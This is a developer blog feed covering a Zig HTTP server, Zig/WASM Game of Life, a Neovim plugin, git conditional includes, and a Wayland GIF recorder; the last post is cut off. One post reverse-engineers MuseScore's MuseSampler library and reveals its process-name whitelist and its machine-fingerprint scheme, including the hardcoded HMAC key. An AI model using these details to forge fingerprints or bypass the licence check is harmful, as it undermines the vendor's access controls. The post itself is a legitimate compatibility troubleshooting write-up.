doprz

Writing a Simple yet Performant HTTP/1.1 Server in Zig 0.16

Tue, 21 Apr 2026 00:00:00 +0000

If you’ve written network code in earlier versions of Zig or in C, then the patterns here will feel familiar. This post walks through building a minimal HTTP/1.1 server using nothing but the Zig standard library.

The full source code for this blog post is available as a self-contained main.zig and main-async.zig with no external dependencies other than the Zig 0.16 standard library on GitHub.

A Brief History of I/O In Zig

Zig 0.15.1 - “Writergate”: All existing std.io readers and writers were deprecated in favor of the new std.Io.Reader and std.Io.Writer. These are non-generic structs that hold both a vtable pointer and buffer. The buffer lives in the interface and not in the implementation.

References:

https://ziglang.org/download/0.15.1/release-notes.html#Writergate

Zig 0.16 - Io Instance and “Juicy Main”: All input and output functionality requires being passed in an Io instance. In addition to this, the classic pub fn main() !void signature is replaced by adding a new parameter to main: std.process.Init or also known as “Juicy Main”.

References:

The Two-Layer Model

One thing that trips up newcomers is that there are two distinct “servers” in the code, however, they operate at different levels of the network stack and it’s worth keeping this in mind moving forward.

The TCP Server (std.Io.net) - binds a port, accepts connections, and gives you a raw byte stream.
The HTTP Server (std.http.Server) - sits on top of that stream and parses it as HTTP/1.1.

Code Explained

const std = @import("std");
const log = std.log.scoped(.server);

const LISTEN_ADDR = "127.0.0.1";
const LISTEN_PORT = 8000;

fn startServer(io: std.Io) !void {
 log.info("Listening on http://{s}:{d}", .{ LISTEN_ADDR, LISTEN_PORT });
 const addr = std.Io.net.IpAddress.parseIp4(LISTEN_ADDR, LISTEN_PORT) catch unreachable;

 // TCP layer: bind the port and accept the raw streams
 var server = try addr.listen(io, .{ .reuse_address = true });
 defer server.deinit(io);

 while (true) {
 log.info("Waiting for connection...", .{});
 var stream = try server.accept(io);
 defer stream.close(io);
 log.info("TCP connection established", .{});

 // Wrap the raw stream in buffered Io.Reader / Io.Writer
 var read_buffer: [1024]u8 = undefined;
 var write_buffer: [1024]u8 = undefined;
 var reader = stream.reader(io, &read_buffer);
 var writer = stream.writer(io, &write_buffer);

 // HTTP layer: parse the byte stream at HTTP/1.1
 var http_server = std.http.Server.init(&reader.interface, &writer.interface);
 var req = try http_server.receiveHead();
 log.info("{s} {s}", .{ @tagName(req.head.method), req.head.target });

 try req.respond("Hello World!", .{ .status = .ok });
 log.info("Response sent, closing connection", .{});
 }
}

pub fn main(init: std.process.Init) !void {
 log.info("Starting server", .{});
 try startServer(init.io);
}

Concurrency and Performance

This server currently can only handle one connection at a time. If we want multiple connections and better performance we can do 4 things:

std.Io.Group - Each accepted connection is handed off to handleStream as it’s own async task. This lets the server accept new connections while existing ones are still being served.

 var group: std.Io.Group = .init;
 defer group.cancel(io);

 while (true) {
 const stream = try server.accept(io);
 group.async(io, handleStream, .{ io, stream });
 }

 try group.await(io);

Keep-alive connections - The inner while (true) loop in handleStream is the single biggest performance lever. Without it, every request pays the full cost of a TCP handshake. With it, wrk and real browsers can reuse the same connection for many requests. Running wrk at this stage results in a bunch of error.HttpConnectionClosign errors but we can handle it silently by just returning.
```
 while (true) {
 var req = http_server.receiveHead() catch |err| switch (err) {
 error.HttpConnectionClosing => return,
 else => return,
 };

 req.respond("Hello World!", .{ .status = .ok }) catch |err| {
 log.err("failed to respond: {}", .{err});
 };
 }
```
Buffer size - Read and write buffers are now set to 4096 bytes. The original 1024-byte buffers are small enough that a request with typical headers can require multiple reads to assemble. 4096 covers the vast majority of real-world requests in a single. Increasing the buffers to 8192 bytes shows minimal performance increases in benchmarks.
No per-request logging: Logging every request through log.info is a significant bottleneck under load. Removing it from the hot path while keeping error logging was one of the more impactful changes for performance. If you need per-request logging in a production environment, we would batch log writes.

Benchmark

Command: wrk -t4 -c100 -d10s <url>

4 Threads
100 Connections
10s Duration

 4 threads and 100 connections
 Thread Stats Avg Stdev Max +/- Stdev
 Latency 24.41us 12.36us 3.03ms 77.19%
 Req/Sec 150.24k 4.42k 163.87k 71.29%
 4528369 requests in 10.10s, 220.25MB read
Requests/sec: 448351.64
Transfer/sec: 21.81MB

For comparison, Caddy serving caddy respond "Hello World!":

 4 threads and 100 connections
 Thread Stats Avg Stdev Max +/- Stdev
 Latency 210.64us 235.88us 5.07ms 86.67%
 Req/Sec 111.41k 1.73k 115.95k 75.50%
 4478865 requests in 10.10s, 615.08MB read
Requests/sec: 443457.86
Transfer/sec: 60.90MB

~448k vs ~443k req/s is essentially identical. This is ~50 lines of straightforward Zig standard library code matching a production-hardended server.

That said, this benchmark is about as favorable as it gets for a minimal server. A static “Hello World!” response with no routing, no middleware, and no “real” work to do is precisely the scenario where simplicity wins. In any benchmark that resembles real-world usage such as TLS termination, dynamic routing, HTTP/2, or serving static files - Caddy would pull ahead and by a lot. Matching its throughput on a toy benchmark is a fun result, but it says more about how well Zig’s standard library is designed than it does about production readiness. If you’re building something real, use the right tool for the job and Caddy is absolutely that for many use cases.

Why Zig

50 lines where you fully understand every allocation and what every line does is a valuable piece of code. It may not match or replace Caddy or other production-ready software but it’s about building something that you understand from start to finish and you can build upon; be it a reverse-proxy, a load-balancer, or something else.

Reverse Engineering MuseScore's MuseSampler Library

Sun, 05 Apr 2026 00:00:00 +0000

MuseScore Studio 4 on Void Linux (and other non-systemd distributions) fails to initialize its audio sampling engine, MuseSampler, with the following error:

MuseSamplerLibHandler::init | Could not init lib
MuseSamplerResolver::init | Could not init MuseSampler: /home/<username>/.local/share/MuseSampler/lib/libMuseSamplerCoreLib.so, version: 0.105.1

MuseScore launches and the UI works fine, but all MuseSounds instruments are unavailable. The same AppImage with the same MuseSounds installation works perfectly on Fedora Linux. This post documents the full investigation, including reverse engineering the closed-source libMuseSamplerCoreLib.so, and the fix.

Testing Environment

Void Linux (glibc), runit init
Artix Linux, OpenRC init
Fedora Linux, systemd init

Initial Debugging

Ruling Out Missing Dependencies

The first suspicion was missing shared libraries. Running ldd on the sampler library showed all dependencies resolving cleanly with no not found entries. The system was running glibc, not musl, so libc compatibility was not the issue.

Tracing Runtime Behavior

Since ldd was clean, the failure had to be happening during runtime initialization. Extracting the AppImage into a squashfs and running strace on the binary revealed the library was opening successfully (returning a valid file descriptor), but something during init was causing it to fail.

symbol lookup error: /home/<username>/.local/share/MuseSampler/lib/libMuseSamplerCoreLib.so:
undefined symbol: _ZN3DRM9AntiDebug24scheduleThreadTimedCrashEv

Demangled, this is DRM::AntiDebug::scheduleThreadTimedCrash() - a DRM callback that the sampler library expects the host binary to export. However, this error appeared on both the non-systemd operating systems and the working Fedora system, making it a red herring. The dynamic library handles this missing symbol gracefully.

Reverse Engineering with Ghidra

Process Name Whitelist

Reverse engineering libMuseSamplerCoreLib.so in Ghidra revealed the ms_init function. Near the top of the function is an early-exit check:

 cVar2 = FUN_00406510();
 if (cVar2 == '\0') {
 return 0xffffffff;
 }

Decompiling FUN_00406510 revealed a process name whitelist. The function reads the executable path (via /proc/self/exe or argv[0]), extracts the basename after the last /, and checks it against three strings:

“MuseScore-4”
“MuseScore-5”
“mscore”

The AppImage binary is named mscore4portable, which matches the last string. This seems to be a check to ensure the dynamic library is only initialized from within a legitimate MuseScore binary.

Instrument Folder Validation

Continuing deeper into ms_init, the next significant check was FUN_00405790. This function calls getenv("MUSESAMPLER_INSTRUMENT_FOLDER") and, if set, validates the path. If not set, it calls FUN_00405e40, which opens and parses the config file at ~/.local/share/MuseSampler/.config to find the instrument folder path. In this case, the config file contained: /home/<username>/Muse Sounds

Both code paths ultimately call FUN_00328cc0 to validate the instrument folder. Inside that function, it verifies the existence of a .instruments file inside the sounds folder, then calls FUN_00416390 which performs a machine fingerprint comparison.

Reverse Engineering the Fingerprint Check

FUN_00416390 is the core validator. Its logic:

Verifies <instrument_folder>/.instruments exists
Calls FUN_0040d800 to compute a machine-specific fingerprint
Base64-encodes that fingerprint:

 *(char *)((long)puVar8 + sVar14) =
 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
 [iVar5 >> ((char)uVar12 - 6U & 0x1f) & 0x3f];

Reads a stored fingerprint from .instruments via a separate lookup function
Compares the two with bcmp - if they don’t match, init fails

Decompiling FUN_0040d800 revealed exactly how the fingerprint is generated:

std::ifstream::ifstream((ifstream *)local_228,"/etc/machine-id",8);
 // ...
 if (iVar5 == 0) {
 iVar5 = FUN_001d8160(local_260,"MuseHubIsAwesome",0x11); // Sets HMAC key
 if (iVar5 != 0) goto LAB_0040d916;
 iVar5 = FUN_001d83e0(local_260,local_280,local_278); // Processes machine-id
 if (iVar5 != 0) goto LAB_0040d916;
 iVar5 = FUN_001d8400(local_260,&local_248); // Produces 32-bype output
 if (iVar5 != 0) goto LAB_0040d916;
 }

The function reads /etc/machine-id, runs it through a keyed hash function using the hardcoded key "MuseHubIsAwesome", and produces a 32-byte fingerprint. This fingerprint is base64-encoded and stored in .instruments when MuseSounds Manager downloads an instrument pack. On subsequent launches, MuseSampler recomputes the fingerprint and compares it against the stored value.

The Root Cause

There are two distinct but related problems:

Problem 1: Void Linux is missing /etc/machine-id. Void does not create /etc/machine-id by default. Its machine ID lives at /var/lib/dbus/machine-id. Since FUN_0040d800 exclusively reads /etc/machine-id, the fingerprint computation fails entirely on Void - the file simply isn’t there to read. This means MuseSounds Manager generates a bad or empty fingerprint when writing .instruments, and MuseSampler can never verify it successfully on subsequent launches.

Problem 2: .instruments contains a bad fingerprint and needs to be regenerated. Even on Artix Linux, which does have /etc/machine-id, MuseSampler still failed on a fresh install. The fix in both cases was the same: delete .instruments and re-download an instrument pack, forcing MuseSounds Manager to regenerate it with a valid fingerprint. The exact reason MuseSounds Manager generates a bad .instruments on non-systemd distros on the first run is not fully clear, but may relate to the absence of a proper logind session when MuseSounds Manager first runs.

The Fix

In order to fix this, it’s as simple as deleting the existing .instruments file, and re-download any instrument pack via MuseSounds Manager.

rm ~/Muse\ Sounds/.instruments

Non-systemd distributions and others with /etc/machine-id missing will need to create a symlink to the dbus machine ID:

sudo ln -s /var/lib/dbus/machine-id /etc/machine-id

Affected Distributions

Any Linux distribution that does not create /etc/machine-id by default will hit this issue. This includes Void Linux and potentially other non-systemd distributions.

Why Fedora Works Out of the Box

Fedora uses systemd, which writes /etc/machine-id during first boot via systemd-machine-id-setup. MuseSounds Manager can read it successfully, generates a valid fingerprint, and stores it in .instruments. MuseSampler verifies it correctly on every subsequent launch. On non-systemd distros, something about the environment during the initial MuseSounds Manager run causes it to write a bad fingerprint into .instruments. On Void the cause is clear - /etc/machine-id simply doesn’t exist. On Artix the cause is less obvious but the symptom and fix are the same.

Writing my first Neovim plugin

Sun, 08 Mar 2026 00:00:00 +0000

jujutsu.nvim

This morning I got tired of context-switching and decided to do something about it. The result: my first Neovim plugin, written in Lua - jujutsu.nvim .

A Bit of Background

I recently migrated from Git to Jujutsu (jj), and honestly, it’s been a breath of fresh air. If you haven’t tried it, jj is a modern version control system that’s thoughtfully designed and surprisingly ergonomic once it clicks.

The workflow shift was smooth, but there was one rough edge: I lost the nice integration and developer experience of my old Neovim setup. Previously I used lazygit.nvim, which pops open a floating terminal running the lazygit TUI right inside Neovim. It’s seamless - one keymap, full VCS access, dismiss and you’re back to your code. With jj, I found myself reaching for a separate terminal window, a tmux pane, or alt-tabbing to run jj commands or launch jjui. It worked, but for something that I do a dozen times a day it felt like unnecessary friction.

The Plugin

jujutsu.nvim brings jjui, the Jujutsu TUI, into a floating scratch terminal inside Neovim. One keymap opens it, another closes it, and you’re right back where you left off. No terminal switching, no tmux gymnastics, no lost context.

It’s straightforward by design. A focused tool that does one thing well - the Unix philosophy applied to a Neovim plugin.

There’s something genuinely surreal about seeing your own plugin scroll past in lazy.nvim’s update log and even more so knowing it’s now part of your daily workflow.

Why Build It?

The honest answer: I couldn’t find it already existing, and the itch was too specific to wait for someone else to scratch it. Writing a Lua plugin for Neovim turned out to be far more approachable than I expected; the API is well-documented, the feedback loop is fast, and there’s a great ecosystem to learn from.

There’s something satisfying about solving your own problem with your own tools. The whole thing came together in a single morning session.

Who Is This For?

If you live inside Neovim and you’ve made the jump to Jujutsu (or you’re curious about it), jujutsu.nvim might be exactly what you’re missing. Check it out, open an issue, or send a PR. I’m just getting started with Lua plugin development and would welcome the feedback.

Conway's Game of Life in Zig: A Weekend Project

Sat, 10 Jan 2026 00:00:00 +0000

This weekend I built Conway’s Game of Life in Zig with two build targets: a native terminal application and a WebAssembly module powering a React frontend. What started as an excuse to write more Zig turned into an interesting exercise in designing shared code across very different runtime environments.

The full source is available at https://github.com/doprz/zig_life

Why Zig?

I’ve been drawn to Zig for its explicit memory management, lack of hidden control flow, and first-class WASM support. Building a cellular automaton felt like the right level of complexity; simple enough to finish in a weekend, complex enough to exercise the language’s strengths.

I also set a secondary goal: zero external dependencies. No ncurses, no cImport, no third-party deps, just the Zig standard library and raw system calls. I wanted to understand what those libraries abstract away, and Zig’s thin libc wrapper made this practical without being painful.

Architecture

I settled on the following modular file structure on the zig side:

src
├── core.zig # Shared cgol logic
├── main.zig # Entry point for terminal build target
├── terminal.zig # ANSI terminal renderer + utils
└── wasm.zig # WebAssembly exports

The key constraint I set for myself was making core.zig depend only on the standard Zig library. It has no I/O dependencies or a specific allocator, allowing it to be portable across targets.

core.zig: The Heart of the Simulation

The core module defines Cell and Grid.

Cell is pretty straightforward. It represents a cell’s state and has a helpful toggle method.

pub const Cell = enum(u8) {
 dead = 0,
 alive = 1,

 pub fn toggle(self: Cell) Cell {
 return if (self == .alive) .dead else .alive;
 }
};

Using an enum(u8) gives us type safety while guaranteeing a single-byte representation. This is important for the WASM memory layout later.

The Grid struct holds the simulation state:

pub const Grid = struct {
 cells: []Cell,
 width: usize,
 height: usize,
 generation: u64 = 0,

 // ...
};

Neighbor Counting

/// Counts the number of alive neighbors surrounding the given cell.
/// Only considers the 8 adjacent cells (excludes diagonals outside bounds).
pub fn countNeighbors(self: *Self, x: usize, y: usize) u8 {
 var count: u8 = 0;
 const offsets = [_]i8{ -1, 0, 1 };
 for (offsets) |dy| {
 for (offsets) |dx| {
 if (dx == 0 and dy == 0) continue;
 const nx = @as(isize, @intCast(x)) + dx;
 const ny = @as(isize, @intCast(y)) + dy;
 if (nx >= 0 and ny >= 0) {
 if (self.get(@intCast(nx), @intCast(ny)) == .alive) {
 count += 1;
 }
 }
 }
 }

 return count;
}

The Step Function

Conway’s rules are beautifully simple: a live cell survives with 2-3 neighbors, a dead cell is born with exactly 3. The implementation uses double buffering to avoid the classic cellular automaton mistake of updating cells in-place:

pub fn step(self: *Self, scratch: []Cell) void {
 for (0..self.height) |y| {
 for (0..self.width) |x| {
 const neighbors = self.countNeighbors(x, y);
 const current = self.get(x, y);
 const idx = self.index(x, y);

 scratch[idx] = switch (current) {
 .alive => if (neighbors == 2 or neighbors == 3) .alive else .dead,
 .dead => if (neighbors == 3) .alive else .dead,
 };
 }
 }

 @memcpy(self.cells, scratch[0..self.cells.len]);
 self.generation += 1;
}

The caller provides the scratch buffer. This keeps Grid allocation-free after initialization and lets different targets manage memory their own way.

Terminal Rendering

This is where the “no external dependencies” goal got interesting. Libraries like ncurses exist for good reasons; terminal handling is full of edge cases. But for a Game of Life, we only need a small subset of functionality: clear the screen, move the cursor, set colors, and query the terminal size.

Raw ANSI Escape Codes

The terminal renderer uses ANSI escape sequences directly:

const ESC = "\x1b";

pub fn moveTo(self: *Self, x: usize, y: usize) !void {
 try self.writer.print(ESC ++ "[{d};{d}H", .{ y + 1, x + 1 });
}

pub fn setColor(self: *Self, fg: u8, bg: u8) !void {
 try self.writer.print(ESC ++ "[0;{d};{d}m", .{ fg, bg });
}

These escape sequences are standardized and work on virtually any modern terminal emulator. No library needed, just string formatting.

Terminal Size via std.posix

For responsive sizing, I needed to query the terminal dimensions. Zig’s standard library wraps the necessary POSIX types, so no @cImport required:

pub fn getTermSize(file: std.fs.File) TermSizeError!TermSize {
 if (!file.supportsAnsiEscapeCodes()) {
 return TermSizeError.Unsupported;
 }

 return switch (builtin.os.tag) {
 .linux => {
 var ws: std.posix.winsize = undefined;
 const result = std.os.linux.ioctl(file.handle, std.posix.T.IOCGWINSZ, @intFromPtr(&ws));

 if (result != 0) return TermSizeError.TerminalSizeUnavailable;
 return .{
 .width = ws.col,
 .height = ws.row,
 };
 },
 else => TermSizeError.Unsupported,
 };
}

Buffered I/O in Zig 0.15.1

Zig 0.15 introduced a rewritten I/O system with explicit buffering. Instead of the old unbuffered getStdOut().writer(), you now pass your own buffer:

var stdout_buffer: [1024]u8 = undefined;
var stdout_writer = std.fs.File.stdout().writer(&stdout_buffer);
const stdout = &stdout_writer.interface;

try stdout.print("Hello World!", .{});
try stdout.flush();

This is a nice design as buffering behavior is explicit and configurable. For terminal rendering, this matters: without buffering, each print call would be a separate write syscall, causing visible flicker as the screen updates. With a buffer sized to the grid, we batch all the escape codes and cell data into a single write, producing smooth, flicker-free updates and improved performance.

The render loop redraws the entire grid each frame. This is fine for now although a more efficient implementation would track dirty cells and only update changes. Weekend project constraints won.

The WASM Target

This is where things get interesting. Zig’s WASM support is excellent. You set the target to wasm32-freestanding and the compiler handles the rest. But bridging the gap between Zig’s type system and JavaScript/TypeScript requires some care.

wasm.zig: The Export Layer

The WASM module is a thin wrapper around core.Grid:

const std = @import("std");
const core = @import("core.zig");

const allocator = std.heap.page_allocator;

var wasm_grid: ?core.Grid = null;
var wasm_scratch: ?[]core.Cell = null;

export fn init(width: u32, height: u32) bool {
 wasm_grid = core.Grid.init(allocator, .{
 .width = width,
 .height = height,
 }) catch return false;

 const size = width * height;
 wasm_scratch = allocator.alloc(core.Cell, size) catch return false;

 return true;
}

export fn deinit() void {
 if (wasm_grid) |*g| {
 g.deinit(allocator);
 wasm_grid = null;
 }

 if (wasm_scratch) |s| {
 allocator.free(s);
 wasm_scratch = null;
 }
}

A few things to note:

Global state: WASM modules are singletons, so global variables are fine here. The ?core.Grid optional type lets us represent “not yet initialized.”
Page allocator: For WASM, std.heap.page_allocator maps directly to memory.grow. It’s simple and works.
Memory Cleanup: Resizing the browser window (which re-initializes the grid) causes a memory leak due to the previous memory allocation not being freed. This is now handled with deinit.

Zero-Copy Cell Access

The most important optimization is exposing direct access to the cell buffer:

export fn getCellsPtr() ?[*]core.Cell {
 return if (wasm_grid) |g| g.cells.ptr else null;
}

export fn getCellsLen() usize {
 return if (wasm_grid) |g| g.cells.len else 0;
}

On the TypeScript side:

export interface CGOLWasm {
 memory: WebAssembly.Memory;

 // Match exports in src/wasm.zig
 init(width: number, height: number): boolean;
 deinit(): void;
 getCellsPtr(): number;
 getCellsLen(): number;

 // ...
}

let wasmInstance: CGOLWasm | null = null;

export async function loadWasm(): Promise<CGOLWasm> {
 if (wasmInstance) return wasmInstance;

 const response = await fetch("/zig_life_wasm.wasm");
 const bytes = await response.arrayBuffer();

 const { instance } = await WebAssembly.instantiate(bytes, {});

 wasmInstance = instance.exports as unknown as CGOLWasm;
 return wasmInstance;
}

export function getCellsArray(wasm: CGOLWasm): Uint8Array {
 const ptr = wasm.getCellsPtr();
 const len = wasm.getCellsLen();
 return new Uint8Array(wasm.memory.buffer, ptr, len);
}

This returns a view into WASM linear memory, hence no copying. The renderer reads directly from this array every frame. For an 80×50 grid that’s 4,000 cells; copying that 60 times per second would add up. With zero-copy, it’s essentially free.

The trick works because Cell is a u8 under the hood (that enum(u8) declaration pays off here). JavaScript sees a flat byte array where 0 is dead and 1 is alive.

Build Configuration

build.zig handles both build targets. Here is the wasm-specific build config:

// WASM build
const wasm_target = b.resolveTargetQuery(.{
 .cpu_arch = .wasm32,
 .os_tag = .freestanding,
});

const wasm = b.addExecutable(.{
 .name = "zig_life_wasm",
 .root_module = b.createModule(.{
 .root_source_file = b.path("src/wasm.zig"),
 .target = wasm_target,
 .optimize = .ReleaseSmall,
 }),
});
wasm.entry = .disabled;
wasm.rdynamic = true;

Key settings:

.entry = .disabled — WASM modules don’t have a main
.rdynamic = true — Export all export fn symbols
.optimize = .ReleaseSmall — Minimize binary size

The resulting .wasm file is around 3KiB.

The React Frontend

The web frontend is straightforward Bun, Vite, React, and TypeScript with a canvas. The interesting parts are the WASM integration and responsive sizing.

Responsive Grid Sizing

The grid dimensions are calculated from the viewport:

useEffect(() => {
 const updateDimensions = () => {
 const width = window.innerWidth;
 const height = window.innerHeight;
 const gridWidth = Math.floor(width / CELL_SIZE);
 const gridHeight = Math.floor(height / CELL_SIZE);

 setDimensions({ width, height });
 setGridSize({ width: gridWidth, height: gridHeight });

 console.log(
 `Window resized: ${width}x${height}, Grid size: ${gridWidth}x${gridHeight}`,
 );
 };

 updateDimensions();
 window.addEventListener("resize", updateDimensions);
 return () => window.removeEventListener("resize", updateDimensions);
}, []);

When grid size changes, another effect re-initializes the WASM module:

useEffect(() => {
 if (gridSize.width > 0 && gridSize.height > 0) {
 const success = wasm.init(gridSize.width, gridSize.height);
 if (success) {
 wasm.randomize(BigInt(Date.now()), DENSITY);
 setInitialized(true);
 }
 }

 // Free up allocations
 return () => {
 wasm.deinit();
 console.log("wasm.deinit() called");
 };
}, [wasm, gridSize]);

That cleanup function in the return statement ensures memory is freed when the component unmounts or before re-initialization. This fixed a memory leak that was causing the tab to balloon in size after several resizes.

Render Loop

The render loop uses requestAnimationFrame with a timestamp check to control simulation speed:

useEffect(() => {
 if (!initialized) return;

 const loop = (timestamp: number) => {
 if (running && timestamp - lastStepRef.current >= TICK_SPEED) {
 wasm.step();
 lastStepRef.current = timestamp;
 }
 render();
 animationRef.current = requestAnimationFrame(loop);
 };

 animationRef.current = requestAnimationFrame(loop);
 return () => cancelAnimationFrame(animationRef.current);
}, [wasm, initialized, running, render]);

This decouples the render rate (60fps) from the simulation rate (configurable via TICK_SPEED). The simulation can run at 10 generations per second while the canvas updates smoothly.

Canvas Drawing

The actual drawing is intentionally simple:

const render = useCallback(() => {
 const canvas = canvasRef.current;
 const ctx = canvas?.getContext("2d");
 if (!canvas || !ctx || !initialized || gridSize.width === 0) return;

 const w = gridSize.width;
 const h = gridSize.height;
 const cells = getCellsArray(wasm);

 // Clear screen
 ctx.fillStyle = "#000";
 ctx.fillRect(0, 0, canvas.width, canvas.height);

 ctx.fillStyle = "#d65d0e"; // Gruvbox orange
 for (let y = 0; y < h; y++) {
 for (let x = 0; x < w; x++) {
 const idx = y * w + x;
 // Cell is alive
 if (cells[idx] === 1) {
 ctx.fillRect(x * CELL_SIZE, y * CELL_SIZE, CELL_SIZE, CELL_SIZE);
 }
 }
 }
}, [wasm, initialized, gridSize]);

Clear the canvas, iterate over cells, draw filled rectangles for live cells. The Gruvbox orange on black gives it a nice retro terminal aesthetic.

Lessons Learned

Zig’s standard library is surprisingly complete. I expected to need @cImport for the ioctl call, but std.posix and std.os.linux already expose the necessary types and functions. Truly zero dependencies—not even C headers.

Zig’s optionals are great for FFI. The ?T pattern naturally expresses “this might not be initialized yet” and the compiler forces you to handle both cases.

Zero-copy is worth the setup. Exposing raw pointers across the WASM boundary felt slightly dangerous, but the performance benefit is worth it.

Memory management across boundaries requires thought. The resize memory leak was subtle. In pure Zig, you’d typically free in the same scope you allocated via a defer. With WASM + React, the lifecycles are driven by JS/TS, so you need explicit cleanup at those boundaries.

Zig’s build system is underrated. Configuring both native and WASM targets in a single build.zig with proper module dependencies just works. No CMake, no separate toolchains, no wasm-pack.

Managing Multiple Git Configurations

Mon, 05 Jan 2026 00:00:00 +0000

If you’re like most developers, you probably work on multiple projects across different contexts. Maybe you contribute to open source projects with your personal email, work on company projects with your work email, and maintain client projects with yet another identity. Manually switching git configurations between projects is tedious and error-prone. Fortunately, Git has a powerful feature that solves this problem elegantly: conditional includes with includeIf.

The Problem

Consider this common scenario: You’ve just finished committing some personal project code, then switch to your work repository and make a commit. Hours later, you realize with horror that your personal email is now in your company’s git history. This can happen especially as development setups and projects increase in complexity over time. On-call all nighters don’t help either and it’s an easy mistake to make.

The traditional solution involves manually running git config user.email every time you switch contexts, but this is fragile and easy to forget.

The Solution: Conditional Includes

Git’s includeIf directive allows you to automatically load different configuration files based on the repository’s location. This means you can set up your git config once and never worry about it again.

How It Works

The basic syntax in your global ~/.gitconfig file looks like this:

[includeIf "gitdir:~/work/"]
 path = ~/.gitconfig-work

[includeIf "gitdir:~/personal/"]
 path = ~/.gitconfig-personal

When you run a git command, Git checks the current repository’s location against these patterns. If there’s a match, it loads the additional configuration file specified in the path directive.

Setting It Up

Let’s walk through a complete setup for managing work and personal projects.

Step 1: Organize Your Repositories

First, organize your repositories by context. For example:

~/work/ # All work-related repositories
~/personal/ # Personal projects
~/clients/ # Client projects

Step 2: Create Separate Config Files

Create a git configuration file for each context. For work:

# ~/.gitconfig-work
[user]
 name = Your Name
 email = you@company.com
 signingkey = WORK_GPG_KEY_ID

[commit]
 gpgsign = true

For personal projects:

# ~/.gitconfig-personal
[user]
 name = Your Name
 email = you@personal.com
 signingkey = PERSONAL_GPG_KEY_ID

[commit]
 gpgsign = true

Step 3: Update Your Global Config

Edit your ~/.gitconfig to include conditional directives:

[user]
 # Fallback configuration
 name = Your Name
 email = you@personal.com

[includeIf "gitdir:~/work/"]
 path = ~/.gitconfig-work

[includeIf "gitdir:~/personal/"]
 path = ~/.gitconfig-personal

[includeIf "gitdir:~/clients/"]
 path = ~/.gitconfig-clients

Important Notes About Pattern Matching

Trailing Slashes Matter

The gitdir pattern must end with a forward slash to match a directory:

# Correct - matches ~/work/ and all subdirectories
[includeIf "gitdir:~/work/"]

# Wrong - won't match subdirectories properly
[includeIf "gitdir:~/work"]

Case Sensitivity

On case-sensitive filesystems (Linux, macOS with case-sensitive APFS), the paths are case-sensitive. On Windows and standard macOS, they’re case-insensitive.

Wildcards

You can use ** for more complex matching patterns:

# Match any "company-name" directory anywhere
[includeIf "gitdir:**/company-name/**"]
 path = ~/.gitconfig-company

Alternative Approach: Matching by Remote URL

If you don’t organize your repositories by directory, or if you work with multiple Git hosting services, you can use hasconfig:remote.*.url to apply configurations based on the remote URL pattern. This is particularly useful when you use GitHub for personal projects, GitLab for work, and Codeberg for open source contributions.

Setup by Remote URL

# ~/.gitconfig
[includeIf "hasconfig:remote.*.url:git@github.com:your-work-org/**"]
 path = ~/.gitconfig-work

[includeIf "hasconfig:remote.*.url:git@gitlab.com:company/**"]
 path = ~/.gitconfig-company

[includeIf "hasconfig:remote.*.url:https://codeberg.org/**"]
 path = ~/.gitconfig-codeberg

[includeIf "hasconfig:remote.*.url:git@bitbucket.org:*/**"]
 path = ~/.gitconfig-bitbucket

[includeIf "hasconfig:remote.*.url:git@github.com:your-personal/**"]
 path = ~/.gitconfig-personal

Why This Is Useful

This approach has several advantages:

Flexible organization: Your repos can live anywhere on your filesystem
Service-specific configs: Apply different settings based on GitHub vs GitLab vs Codeberg
Organization-based: Match specific organizations or groups within a hosting service
Protocol-agnostic: Works with both SSH and HTTPS URLs

Combining Both Approaches

You can use both gitdir and hasconfig:remote.*.url together for maximum flexibility:

[user]
 name = Your Name
 email = personal@example.com

# Directory-based rules (checked first)
[includeIf "gitdir:~/work/"]
 path = ~/.gitconfig-work

# Remote URL-based rules (useful for exceptions)
[includeIf "hasconfig:remote.*.url:git@github.com:opensource-project/**"]
 path = ~/.gitconfig-opensource

Note: The hasconfig:remote.*.url condition requires that the repository already has a remote configured. It won’t work immediately after git init but will activate once you add a remote with git remote add.

Advanced Use Cases

Different SSH Keys

You can configure different SSH keys for different contexts by including SSH configuration in your conditional config files:

# ~/.gitconfig-work
[user]
 email = you@company.com

[core]
 sshCommand = ssh -i ~/.ssh/id_rsa_work

URL Rewrites

Automatically use different protocols or paths:

# ~/.gitconfig-work
[url "git@github.com-work:"]
 insteadOf = git@github.com:

Different Default Branches

Set different default branch names per context:

# ~/.gitconfig-personal
[init]
 defaultBranch = main

# ~/.gitconfig-work
[init]
 defaultBranch = master

Pro Tip: Editing Conditional Config Files Directly

Instead of manually opening your conditional config files in an editor, you can use git’s --file flag to edit them directly:

# Edit your work config
git config --file=~/.gitconfig-work user.email "newemail@company.com"

# Add a new setting to your personal config
git config --file=~/.gitconfig-personal core.editor "vim"

# List all settings in a specific config file
git config --file=~/.gitconfig-work --list

This is especially handy when you can’t remember the exact path to your config files or want to quickly update a setting without opening an editor.

Verifying Your Configuration

To check which configuration is being used in a repository, run:

git config --list --show-origin

This shows each configuration value and which file it comes from. You should see values from your conditional config file for repositories in the matching directories.

To test a specific value:

git config --get user.email

Troubleshooting

If your conditional configuration isn’t working:

Check for typos in the gitdir path, especially the trailing slash
Use absolute paths or ~ for home directory, not relative paths
Verify file permissions on your config files
Check the order - later includes override earlier ones
Remember that includeIf only works in the global config file, not in repository-local configs

Why This Matters

Beyond just getting the right email in commits, conditional configurations enable:

Security: Use different GPG keys for signing commits in different contexts
Compliance: Ensure company policies are followed automatically in work repositories
Productivity: Eliminate context-switching friction and mental overhead
Reliability: Prevent embarrassing mistakes like using personal credentials in company code

Conclusion

Git’s includeIf feature is a simple but powerful tool that saves time and prevents mistakes. By spending a few minutes setting up conditional configurations, you can work seamlessly across different projects and contexts without ever thinking about your git configuration again.

The next time you clone a new repository, it will automatically pick up the right configuration based on where you put it. That’s the kind of automation that makes development just a little bit smoother.

wlgif - A lightweight screen recorder for Wayland that captures regions as GIFs

Sun, 04 Jan 2026 00:00:00 +0000

Some of the best projects stem from real frustrations. I’ve personally struggled with creating small GIFs for project documentation on Wayland - no existing solution worked well. My workaround? Screen record with OBS, manually convert with ffmpeg. Time-consuming, janky, and frustrating.

wlgif demo showcasing rs-cube and minecraft_tunnel

So I built wlgif - a lightweight screen recorder for Wayland that captures regions as GIFs. What used to take several minutes now takes less than 10 seconds.

GitHub: https://github.com/doprz/wlgif

Stats: ~1000 lines of Rust code, 99KiB repository size, with scc estimating $38k development cost.

The problem:

